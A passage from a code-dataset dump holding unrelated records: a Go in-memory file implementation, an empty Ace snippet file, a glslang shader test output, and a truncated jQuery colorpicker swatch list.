reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage mem\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"sync/atomic\"\n)\n\nimport \"time\"\n\nconst FilePathSeparator = string(filepath.Separator)\n\ntype File struct {\n\t// atomic requires 64-bit alignment for struct field access\n\tat int64\n\treadDirCount int64\n\tclosed bool\n\treadOnly bool\n\tfileData *FileData\n}\n\nfunc NewFileHandle(data *FileData) *File {\n\treturn &File{fileData: data}\n}\n\nfunc NewReadOnlyFileHandle(data *FileData) *File {\n\treturn &File{fileData: data, readOnly: true}\n}\n\nfunc (f File) Data() *FileData {\n\treturn f.fileData\n}\n\ntype FileData struct {\n\tsync.Mutex\n\tname string\n\tdata []byte\n\tmemDir Dir\n\tdir bool\n\tmode os.FileMode\n\tmodtime time.Time\n}\n\nfunc (d *FileData) Name() string {\n\td.Lock()\n\tdefer d.Unlock()\n\treturn d.name\n}\n\nfunc CreateFile(name string) *FileData {\n\treturn &FileData{name: name, mode: os.ModeTemporary, modtime: time.Now()}\n}\n\nfunc CreateDir(name string) *FileData {\n\treturn &FileData{name: name, memDir: &DirMap{}, dir: true}\n}\n\nfunc ChangeFileName(f *FileData, newname string) {\n\tf.Lock()\n\tf.name = newname\n\tf.Unlock()\n}\n\nfunc SetMode(f *FileData, mode os.FileMode) {\n\tf.Lock()\n\tf.mode = mode\n\tf.Unlock()\n}\n\nfunc SetModTime(f *FileData, mtime time.Time) {\n\tf.Lock()\n\tsetModTime(f, mtime)\n\tf.Unlock()\n}\n\nfunc setModTime(f *FileData, mtime time.Time) {\n\tf.modtime = mtime\n}\n\nfunc GetFileInfo(f *FileData) *FileInfo {\n\treturn &FileInfo{f}\n}\n\nfunc (f *File) Open() error {\n\tatomic.StoreInt64(&f.at, 0)\n\tatomic.StoreInt64(&f.readDirCount, 0)\n\tf.fileData.Lock()\n\tf.closed = false\n\tf.fileData.Unlock()\n\treturn nil\n}\n\nfunc (f *File) Close() error {\n\tf.fileData.Lock()\n\tf.closed = true\n\tif !f.readOnly {\n\t\tsetModTime(f.fileData, time.Now())\n\t}\n\tf.fileData.Unlock()\n\treturn nil\n}\n\nfunc (f *File) Name() string {\n\treturn f.fileData.Name()\n}\n\nfunc (f *File) Stat() (os.FileInfo, error) {\n\treturn &FileInfo{f.fileData}, nil\n}\n\nfunc (f *File) Sync() error {\n\treturn nil\n}\n\nfunc (f *File) Readdir(count int) (res []os.FileInfo, err error) {\n\tif !f.fileData.dir {\n\t\treturn nil, &os.PathError{Op: \"readdir\", Path: f.fileData.name, Err: errors.New(\"not a dir\")}\n\t}\n\tvar outLength int64\n\n\tf.fileData.Lock()\n\tfiles := f.fileData.memDir.Files()[f.readDirCount:]\n\tif count > 0 {\n\t\tif len(files) < count {\n\t\t\toutLength = int64(len(files))\n\t\t} else {\n\t\t\toutLength = int64(count)\n\t\t}\n\t\tif len(files) == 0 {\n\t\t\terr = io.EOF\n\t\t}\n\t} else {\n\t\toutLength = int64(len(files))\n\t}\n\tf.readDirCount += outLength\n\tf.fileData.Unlock()\n\n\tres = make([]os.FileInfo, outLength)\n\tfor i := range res {\n\t\tres[i] = &FileInfo{files[i]}\n\t}\n\n\treturn res, err\n}\n\nfunc (f *File) Readdirnames(n int) (names []string, err error) {\n\tfi, err := f.Readdir(n)\n\tnames = make([]string, len(fi))\n\tfor i, f := range fi {\n\t\t_, names[i] = filepath.Split(f.Name())\n\t}\n\treturn names, err\n}\n\nfunc (f *File) Read(b []byte) (n int, err error) {\n\tf.fileData.Lock()\n\tdefer f.fileData.Unlock()\n\tif f.closed == true {\n\t\treturn 0, ErrFileClosed\n\t}\n\tif len(b) > 0 && int(f.at) == len(f.fileData.data) {\n\t\treturn 0, io.EOF\n\t}\n\tif int(f.at) > len(f.fileData.data) {\n\t\treturn 0, io.ErrUnexpectedEOF\n\t}\n\tif len(f.fileData.data)-int(f.at) >= len(b) {\n\t\tn = len(b)\n\t} else {\n\t\tn = len(f.fileData.data) - int(f.at)\n\t}\n\tcopy(b, f.fileData.data[f.at:f.at+int64(n)])\n\tatomic.AddInt64(&f.at, int64(n))\n\treturn\n}\n\nfunc (f *File) ReadAt(b []byte, off int64) (n int, err error) {\n\tatomic.StoreInt64(&f.at, off)\n\treturn f.Read(b)\n}\n\nfunc (f *File) Truncate(size int64) error {\n\tif f.closed == true {\n\t\treturn ErrFileClosed\n\t}\n\tif f.readOnly {\n\t\treturn &os.PathError{Op: \"truncate\", Path: f.fileData.name, Err: errors.New(\"file handle is read only\")}\n\t}\n\tif size < 0 {\n\t\treturn ErrOutOfRange\n\t}\n\tif size > int64(len(f.fileData.data)) {\n\t\tdiff := size - int64(len(f.fileData.data))\n\t\tf.fileData.data = append(f.fileData.data, bytes.Repeat([]byte{00}, int(diff))...)\n\t} else {\n\t\tf.fileData.data = f.fileData.data[0:size]\n\t}\n\tsetModTime(f.fileData, time.Now())\n\treturn nil\n}\n\nfunc (f *File) Seek(offset int64, whence int) (int64, error) {\n\tif f.closed == true {\n\t\treturn 0, ErrFileClosed\n\t}\n\tswitch whence {\n\tcase 0:\n\t\tatomic.StoreInt64(&f.at, offset)\n\tcase 1:\n\t\tatomic.AddInt64(&f.at, int64(offset))\n\tcase 2:\n\t\tatomic.StoreInt64(&f.at, int64(len(f.fileData.data))+offset)\n\t}\n\treturn f.at, nil\n}\n\nfunc (f *File) Write(b []byte) (n int, err error) {\n\tif f.readOnly {\n\t\treturn 0, &os.PathError{Op: \"write\", Path: f.fileData.name, Err: errors.New(\"file handle is read only\")}\n\t}\n\tn = len(b)\n\tcur := atomic.LoadInt64(&f.at)\n\tf.fileData.Lock()\n\tdefer f.fileData.Unlock()\n\tdiff := cur - int64(len(f.fileData.data))\n\tvar tail []byte\n\tif n+int(cur) < len(f.fileData.data) {\n\t\ttail = f.fileData.data[n+int(cur):]\n\t}\n\tif diff > 0 {\n\t\tf.fileData.data = append(bytes.Repeat([]byte{00}, int(diff)), b...)\n\t\tf.fileData.data = append(f.fileData.data, tail...)\n\t} else {\n\t\tf.fileData.data = append(f.fileData.data[:cur], b...)\n\t\tf.fileData.data = append(f.fileData.data, tail...)\n\t}\n\tsetModTime(f.fileData, time.Now())\n\n\tatomic.StoreInt64(&f.at, int64(len(f.fileData.data)))\n\treturn\n}\n\nfunc (f *File) WriteAt(b []byte, off int64) (n int, err error) {\n\tatomic.StoreInt64(&f.at, off)\n\treturn f.Write(b)\n}\n\nfunc (f *File) WriteString(s string) (ret int, err error) {\n\treturn f.Write([]byte(s))\n}\n\nfunc (f *File) Info() *FileInfo {\n\treturn &FileInfo{f.fileData}\n}\n\ntype FileInfo struct {\n\t*FileData\n}\n\n// Implements os.FileInfo\nfunc (s *FileInfo) Name() string {\n\ts.Lock()\n\t_, name := filepath.Split(s.name)\n\ts.Unlock()\n\treturn name\n}\nfunc (s *FileInfo) Mode() os.FileMode {\n\ts.Lock()\n\tdefer s.Unlock()\n\treturn s.mode\n}\nfunc (s *FileInfo) ModTime() time.Time {\n\ts.Lock()\n\tdefer s.Unlock()\n\treturn s.modtime\n}\nfunc (s *FileInfo) IsDir() bool {\n\ts.Lock()\n\tdefer s.Unlock()\n\treturn s.dir\n}\nfunc (s *FileInfo) Sys() interface{} { return nil }\nfunc (s *FileInfo) Size() int64 {\n\tif s.IsDir() {\n\t\treturn int64(42)\n\t}\n\ts.Lock()\n\tdefer s.Unlock()\n\treturn int64(len(s.data))\n}\n\nvar (\n\tErrFileClosed = errors.New(\"File is closed\")\n\tErrOutOfRange = errors.New(\"Out of range\")\n\tErrTooLarge = errors.New(\"Too large\")\n\tErrFileNotFound = os.ErrNotExist\n\tErrFileExists = os.ErrExist\n\tErrDestinationExists = os.ErrExist\n)\n"} -{"text": "__ace_shadowed__.define('ace/snippets/scheme', ['require', 'exports', 'module' ], function(require, exports, module) {\n\n\nexports.snippetText = \"\";\nexports.scope = \"scheme\";\n\n});\n"} -{"text": "\n\n \n \n\n\n"} -{"text": "glsl.es320.subgroupBallotNeg.comp\nERROR: 0:31: 'id' : argument must be compile-time constant \nERROR: 1 compilation errors. No code generated.\n\n\nShader version: 450\nRequested GL_KHR_shader_subgroup_ballot\nRequested GL_KHR_shader_subgroup_basic\nlocal_size = (8, 8, 1)\nERROR: node is still EOpNull!\n0:14 Function Definition: main( ( global void)\n0:14 Function Parameters: \n0:16 Sequence\n0:16 Sequence\n0:16 move second child to first child ( temp uint)\n0:16 'invocation' ( temp uint)\n0:16 mod ( temp uint)\n0:16 add ( temp uint)\n0:16 'gl_SubgroupInvocationID' ( in uint SubgroupInvocationID)\n0:16 'gl_SubgroupSize' ( in uint SubgroupSize)\n0:16 Constant:\n0:16 4 (const uint)\n0:18 Sequence\n0:18 move second child to first child ( temp 4-component vector of uint)\n0:18 'relMask' ( temp 4-component vector of uint)\n0:21 add ( temp 4-component vector of uint)\n0:20 add ( temp 4-component vector of uint)\n0:19 add ( temp 4-component vector of uint)\n0:18 add ( temp 4-component vector of uint)\n0:18 'gl_SubgroupEqMask' ( in 4-component vector of uint SubgroupEqMask)\n0:19 'gl_SubgroupGeMask' ( in 4-component vector of uint SubgroupGeMask)\n0:20 'gl_SubgroupGtMask' ( in 4-component vector of uint SubgroupGtMask)\n0:21 'gl_SubgroupLeMask' ( in 4-component vector of uint SubgroupLeMask)\n0:22 'gl_SubgroupLtMask' ( in 4-component vector of uint SubgroupLtMask)\n0:24 Sequence\n0:24 move second child to first child ( temp 4-component vector of uint)\n0:24 'result' ( temp 4-component vector of uint)\n0:24 subgroupBallot ( global 4-component vector of uint)\n0:24 Constant:\n0:24 true (const bool)\n0:26 move second child to first child ( temp uint)\n0:26 direct index ( temp uint)\n0:26 u4: direct index for structure (layout( column_major shared) buffer 4-component vector of uint)\n0:26 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:26 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:26 Constant:\n0:26 0 (const int)\n0:26 Constant:\n0:26 2 (const int)\n0:26 Constant:\n0:26 0 (const int)\n0:26 subgroupBallotBitCount ( global uint)\n0:26 'result' ( temp 4-component vector of uint)\n0:27 move second child to first child ( temp uint)\n0:27 direct index ( temp uint)\n0:27 u4: direct index for structure (layout( column_major shared) buffer 4-component vector of uint)\n0:27 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:27 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:27 Constant:\n0:27 0 (const int)\n0:27 Constant:\n0:27 2 (const int)\n0:27 Constant:\n0:27 1 (const int)\n0:27 Test condition and select ( temp uint)\n0:27 Condition\n0:27 subgroupBallotBitExtract ( global bool)\n0:27 'result' ( temp 4-component vector of uint)\n0:27 Constant:\n0:27 0 (const uint)\n0:27 true case\n0:27 Constant:\n0:27 1 (const uint)\n0:27 false case\n0:27 Constant:\n0:27 0 (const uint)\n0:28 move second child to first child ( temp uint)\n0:28 direct index ( temp uint)\n0:28 u4: direct index for structure (layout( column_major shared) buffer 4-component vector of uint)\n0:28 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:28 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:28 Constant:\n0:28 0 (const int)\n0:28 Constant:\n0:28 2 (const int)\n0:28 Constant:\n0:28 2 (const int)\n0:28 add ( temp uint)\n0:28 subgroupBallotInclusiveBitCount ( global uint)\n0:28 'result' ( temp 4-component vector of uint)\n0:28 subgroupBallotExclusiveBitCount ( global uint)\n0:28 'result' ( temp 4-component vector of uint)\n0:29 move second child to first child ( temp uint)\n0:29 direct index ( temp uint)\n0:29 u4: direct index for structure (layout( column_major shared) buffer 4-component vector of uint)\n0:29 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:29 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:29 Constant:\n0:29 0 (const int)\n0:29 Constant:\n0:29 2 (const int)\n0:29 Constant:\n0:29 3 (const int)\n0:29 add ( temp uint)\n0:29 subgroupBallotFindLSB ( global uint)\n0:29 'result' ( temp 4-component vector of uint)\n0:29 subgroupBallotFindMSB ( global uint)\n0:29 'result' ( temp 4-component vector of uint)\n0:31 move second child to first child ( temp float)\n0:31 direct index ( temp float)\n0:31 f4: direct index for structure (layout( column_major shared) buffer 4-component vector of float)\n0:31 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:31 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:31 Constant:\n0:31 1 (const int)\n0:31 Constant:\n0:31 0 (const int)\n0:31 Constant:\n0:31 0 (const int)\n0:31 subgroupBroadcast ( global float)\n0:31 direct index ( temp float)\n0:31 f4: direct index for structure (layout( column_major shared) buffer 4-component vector of float)\n0:31 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:31 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:31 Constant:\n0:31 0 (const int)\n0:31 Constant:\n0:31 0 (const int)\n0:31 Constant:\n0:31 0 (const int)\n0:31 'invocation' ( temp uint)\n0:? Linker Objects\n0:? 'gl_WorkGroupSize' ( const 3-component vector of uint WorkGroupSize)\n0:? 8 (const uint)\n0:? 8 (const uint)\n0:? 1 (const uint)\n0:? 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n\n\nLinked compute stage:\n\n\nShader version: 450\nRequested GL_KHR_shader_subgroup_ballot\nRequested GL_KHR_shader_subgroup_basic\nlocal_size = (8, 8, 1)\nERROR: node is still EOpNull!\n0:14 Function Definition: main( ( global void)\n0:14 Function Parameters: \n0:16 Sequence\n0:16 Sequence\n0:16 move second child to first child ( temp uint)\n0:16 'invocation' ( temp uint)\n0:16 mod ( temp uint)\n0:16 add ( temp uint)\n0:16 'gl_SubgroupInvocationID' ( in uint SubgroupInvocationID)\n0:16 'gl_SubgroupSize' ( in uint SubgroupSize)\n0:16 Constant:\n0:16 4 (const uint)\n0:18 Sequence\n0:18 move second child to first child ( temp 4-component vector of uint)\n0:18 'relMask' ( temp 4-component vector of uint)\n0:21 add ( temp 4-component vector of uint)\n0:20 add ( temp 4-component vector of uint)\n0:19 add ( temp 4-component vector of uint)\n0:18 add ( temp 4-component vector of uint)\n0:18 'gl_SubgroupEqMask' ( in 4-component vector of uint SubgroupEqMask)\n0:19 'gl_SubgroupGeMask' ( in 4-component vector of uint SubgroupGeMask)\n0:20 'gl_SubgroupGtMask' ( in 4-component vector of uint SubgroupGtMask)\n0:21 'gl_SubgroupLeMask' ( in 4-component vector of uint SubgroupLeMask)\n0:22 'gl_SubgroupLtMask' ( in 4-component vector of uint SubgroupLtMask)\n0:24 Sequence\n0:24 move second child to first child ( temp 4-component vector of uint)\n0:24 'result' ( temp 4-component vector of uint)\n0:24 subgroupBallot ( global 4-component vector of uint)\n0:24 Constant:\n0:24 true (const bool)\n0:26 move second child to first child ( temp uint)\n0:26 direct index ( temp uint)\n0:26 u4: direct index for structure (layout( column_major shared) buffer 4-component vector of uint)\n0:26 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:26 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:26 Constant:\n0:26 0 (const int)\n0:26 Constant:\n0:26 2 (const int)\n0:26 Constant:\n0:26 0 (const int)\n0:26 subgroupBallotBitCount ( global uint)\n0:26 'result' ( temp 4-component vector of uint)\n0:27 move second child to first child ( temp uint)\n0:27 direct index ( temp uint)\n0:27 u4: direct index for structure (layout( column_major shared) buffer 4-component vector of uint)\n0:27 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:27 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:27 Constant:\n0:27 0 (const int)\n0:27 Constant:\n0:27 2 (const int)\n0:27 Constant:\n0:27 1 (const int)\n0:27 Test condition and select ( temp uint)\n0:27 Condition\n0:27 subgroupBallotBitExtract ( global bool)\n0:27 'result' ( temp 4-component vector of uint)\n0:27 Constant:\n0:27 0 (const uint)\n0:27 true case\n0:27 Constant:\n0:27 1 (const uint)\n0:27 false case\n0:27 Constant:\n0:27 0 (const uint)\n0:28 move second child to first child ( temp uint)\n0:28 direct index ( temp uint)\n0:28 u4: direct index for structure (layout( column_major shared) buffer 4-component vector of uint)\n0:28 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:28 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:28 Constant:\n0:28 0 (const int)\n0:28 Constant:\n0:28 2 (const int)\n0:28 Constant:\n0:28 2 (const int)\n0:28 add ( temp uint)\n0:28 subgroupBallotInclusiveBitCount ( global uint)\n0:28 'result' ( temp 4-component vector of uint)\n0:28 subgroupBallotExclusiveBitCount ( global uint)\n0:28 'result' ( temp 4-component vector of uint)\n0:29 move second child to first child ( temp uint)\n0:29 direct index ( temp uint)\n0:29 u4: direct index for structure (layout( column_major shared) buffer 4-component vector of uint)\n0:29 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:29 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:29 Constant:\n0:29 0 (const int)\n0:29 Constant:\n0:29 2 (const int)\n0:29 Constant:\n0:29 3 (const int)\n0:29 add ( temp uint)\n0:29 subgroupBallotFindLSB ( global uint)\n0:29 'result' ( temp 4-component vector of uint)\n0:29 subgroupBallotFindMSB ( global uint)\n0:29 'result' ( temp 4-component vector of uint)\n0:31 move second child to first child ( temp float)\n0:31 direct index ( temp float)\n0:31 f4: direct index for structure (layout( column_major shared) buffer 4-component vector of float)\n0:31 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:31 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:31 Constant:\n0:31 1 (const int)\n0:31 Constant:\n0:31 0 (const int)\n0:31 Constant:\n0:31 0 (const int)\n0:31 subgroupBroadcast ( global float)\n0:31 direct index ( temp float)\n0:31 f4: direct index for structure (layout( column_major shared) buffer 4-component vector of float)\n0:31 direct index (layout( binding=0 column_major shared) temp block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:31 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n0:31 Constant:\n0:31 0 (const int)\n0:31 Constant:\n0:31 0 (const int)\n0:31 Constant:\n0:31 0 (const int)\n0:31 'invocation' ( temp uint)\n0:? Linker Objects\n0:? 'gl_WorkGroupSize' ( const 3-component vector of uint WorkGroupSize)\n0:? 8 (const uint)\n0:? 8 (const uint)\n0:? 1 (const uint)\n0:? 'data' (layout( binding=0 column_major shared) buffer 4-element array of block{layout( column_major shared) buffer 4-component vector of float f4, layout( column_major shared) buffer 4-component vector of int i4, layout( column_major shared) buffer 4-component vector of uint u4})\n\n"} -{"text": "\njQuery(function ($) {\n $.colorpicker.swatchesNames['prismacolor'] = 'Prismacolor';\n $.colorpicker.swatches['prismacolor'] = [\n {name: 'Process Red', r: 0.98823529411765, g: 0.54901960784314, b: 1},\n {name: 'Blush Pink', r: 1, g: 0.65882352941176, b: 0.83137254901961},\n {name: 'Warm Grey 20%', r: 0.92941176470588, g: 0.94117647058824, b: 0.94117647058824},\n {name: 'Warm Grey 30%', r: 0.90980392156863, g: 0.90980392156863, b: 0.92941176470588},\n {name: 'Warm Grey 40%', r: 0.87058823529412, g: 0.87843137254902, b: 0.89019607843137},\n {name: 'Warm Grey 50%', r: 0.69803921568627, g: 0.72941176470588, b: 0.74901960784314},\n {name: 'Warm Grey 60%', r: 0.65098039215686, g: 0.67843137254902, b: 0.70980392156863},\n {name: 'Warm Grey 70%', r: 0.45882352941176, g: 0.49803921568627, b: 0.52549019607843},\n {name: 'Warm Grey 80%', r: 0.29019607843137, g: 0.30588235294118, b: 0.34117647058824},\n {name: 'Warm Grey 90%', r: 0.13725490196078, g: 0.14117647058824, b: 0.16862745098039},\n {name: 'Cool Grey 10%', r: 0.94117647058824, g: 0.95686274509804, b: 0.96470588235294},\n {name: 'Cool Grey 20%', r: 0.89803921568627, g: 0.92549019607843, b: 0.93725490196078},\n {name: 'Deco Peach', r: 1, g: 0.87058823529412, b: 0.87058823529412},\n {name: 'Cool Grey 30%', r: 0.81176470588235, g: 0.86274509803922, b: 0.89019607843137},\n {name: 'Cool Grey 40%', r: 0.73333333333333, g: 0.77647058823529, b: 0.80392156862745},\n {name: 'Cool Grey 50%', r: 0.64705882352941, g: 0.69019607843137, b: 0.71764705882353},\n {name: 'Cool Grey 60%', r: 0.54509803921569, g: 0.62745098039216, b: 0.67450980392157},\n {name: 'Cool Grey 70%', r: 0.4078431372549, g: 0.50196078431373, b: 0.55294117647059},\n {name: 'Cool Grey 80%', r: 0.31764705882353, g: 0.39607843137255, b: 0.43921568627451},\n {name: 'Cool Grey 90%', r: 0.21176470588235, g: 0.27450980392157, b: 0.30588235294118},\n {name: 'Metallic Silver Broad', r: 0.5843137254902, g: 0.66274509803922, b: 0.65490196078431},\n {name: 'Metallic Silver Fine', r: 0.5843137254902, g: 0.66274509803922, b: 0.65490196078431},\n {name: 'Metallic Gold Broad', r: 0.63529411764706, g: 0.69411764705882, b: 0.34117647058824},\n {name: 'Light Peach', r: 1, g: 0.87058823529412, b: 0.83137254901961},\n {name: 'Metallic Gold Fine', r: 0.63529411764706, g: 0.69411764705882, b: 0.34117647058824},\n {name: 'Colorless Blender', r: 1, g: 1, b: 1},\n {name: 'Salmon Pink', r: 1, g: 0.76862745098039, b: 0.72156862745098},\n {name: 'Spanish Orange', r: 0.98823529411765, g: 0.83137254901961, b: 0.011764705882353},\n {name: 'Lime peel', r: 0.83137254901961, g: 0.98039215686275, b: 0.36862745098039},\n {name: 'Peacock Blue', r: 0.17254901960784, g: 0.46274509803922, b: 0.72941176470588},\n {name: 'Cerulean Blue', r: 0.50196078431373, g: 0.72941176470588, b: 1},\n {name: 'Imperial Violet', r: 0.34117647058824, g: 0.47843137254902, b: 0.96862745098039},\n {name: 'Parma Violet', r: 0.43921568627451, g: 0.54901960784314, b: 1},\n {name: 'Poppy Red', r: 1, g: 0.32941176470588, b: 0.23921568627451},\n {name: 'Deco Orange', r: 1, g: 0.72941176470588, b: 0.54901960784314},\n {name: 'Deco Yellow', r: 0.96078431372549, g: 0.96078431372549, b: 0.54901960784314},\n {name: 'Jasmine', r: 1, g: 0.83137254901961, b: 0.45098039215686},\n {name: 'Deco Pink', r: 1, g: 0.87058823529412, b: 1},\n {name: 'Deco Blue', r: 0.72156862745098, g: 1, b: 0.96078431372549},\n {name: 'Dusty Rose', r: 0.94509803921569, g: 0.84705882352941, b: 0.83529411764706},\n {name: 'Clay Rose', r: 0.81960784313725, g: 0.54117647058824, b: 1},\n {name: 'Pale Vermilion', r: 1, g: 0.41960784313725, b: 0.070588235294118},\n {name: 'Celadon Green', r: 0.69803921568627, g: 0.87058823529412, b: 0.76078431372549},\n {name: 'Jade Green', r: 0.65098039215686, g: 0.87843137254902, b: 0.8},\n {name: 'Brittany Blue', r: 0.52156862745098, g: 0.72941176470588, b: 0.76862745098039},\n {name: 'Mediterranean Blue', r: 0.50196078431373, g: 0.74901960784314, b: 0.98039215686275},\n {name: 'Cloud Blue', r: 0.83921568627451, g: 0.92156862745098, b: 0.98823529411765},\n {name: 'Blue Slate', r: 0.56078431372549, g: 0.72156862745098, b: 0.98823529411765},\n {name: 'Periwinkle', r: 0.41960784313725, g: 0.63137254901961, b: 0.92941176470588},\n {name: 'Greyed Lavender', r: 0.76862745098039, g: 0.72156862745098, b: 1},\n {name: 'Greyed Lavender Light', r: 0.88627450980392, g: 0.85490196078431, b: 0.92549019607843},\n {name: 'Bronze', r: 0.60392156862745, g: 0.66274509803922, b: 0},\n {name: 'Yellow Orange', r: 0.98823529411765, g: 0.65882352941176, b: 0.011764705882353},\n {name: 'Mahogany Red', r: 0.41176470588235, g: 0.086274509803922, b: 0.35686274509804},\n {name: 'Raspberry', r: 0.68235294117647, g: 0.027450980392157, b: 0.39607843137255},\n {name: 'Henna', r: 0.72549019607843, g: 0.094117647058824, b: 0.38039215686275},\n {name: 'Pumpkin Orange', r: 0.87058823529412, g: 0.32549019607843, b: 0.16862745098039},\n {name: 'Mineral Orange', r: 1, g: 0.65882352941176, b: 0.18823529411765},\n {name: 'French Grey 10%', r: 0.96078431372549, g: 0.94901960784314, b: 0.94117647058824},\n {name: 'French Grey 20%', r: 0.90980392156863, g: 0.90980392156863, b: 0.90196078431373},\n {name: 'French Grey 30%', r: 0.8, g: 0.81176470588235, b: 0.78039215686275},\n {name: 'French Grey 40%', r: 0.70980392156863, g: 0.72941176470588, b: 0.72156862745098},\n {name: 'French Grey 50%', r: 0.64313725490196, g: 0.64313725490196, b: 0.64313725490196},\n {name: 'Orange', r: 1, g: 0.54901960784314, b: 0.011764705882353},\n {name: 'French Grey 60%', r: 0.57647058823529, g: 0.59607843137255, b: 0.59607843137255},\n {name: 'French Grey 70%', r: 0.45882352941176, g: 0.48627450980392, b: 0.48627450980392},\n {name: 'French Grey 80%', r: 0.29803921568627, g: 0.32156862745098, b: 0.32941176470588},\n {name: 'French Grey 90%', r: 0.15294117647059, g: 0.16470588235294, b: 0.17254901960784},\n {name: 'Grass Green', r: 0.32549019607843, g: 0.88235294117647, b: 0.37647058823529},\n {name: 'True Green', r: 0.74117647058824, g: 0.98039215686275, b: 0.69019607843137},\n {name: 'Apple Green', r: 0.63137254901961, g: 0.96078431372549, b: 0.47843137254902},\n {name: 'Dark Purple', r: 0.15686274509804, g: 0, b: 0.87450980392157},\n {name: 'Tuscan Red', r: 0.58039215686275, g: 0.17647058823529, b: 0.48235294117647},\n {name: 'Sunburst Yellow', r: 0.98039215686275, g: 0.94117647058824, b: 0.2},\n {name: 'Peach', r: 1, g: 0.54901960784314, b: 0.54901960784314},\n {name: 'Lilac', r: 0.65098039215686, g: 0.65098039215686, b: 1},\n {name: 'Light Umber', r: 0.41176470588235, g: 0.45490196078431, b: 0.22745098039216},\n {name: 'Lilac Light', r: 0.6156862745098, g: 0.58823529411765, b: 0.77254901960784},\n {name: 'Neon Yellow', r: 0.98823529411765, g: 0.90980392156863, b: 0.14117647058824},\n {name: 'Neon Orange', r: 0.93725490196078, g: 0.76078431372549, b: 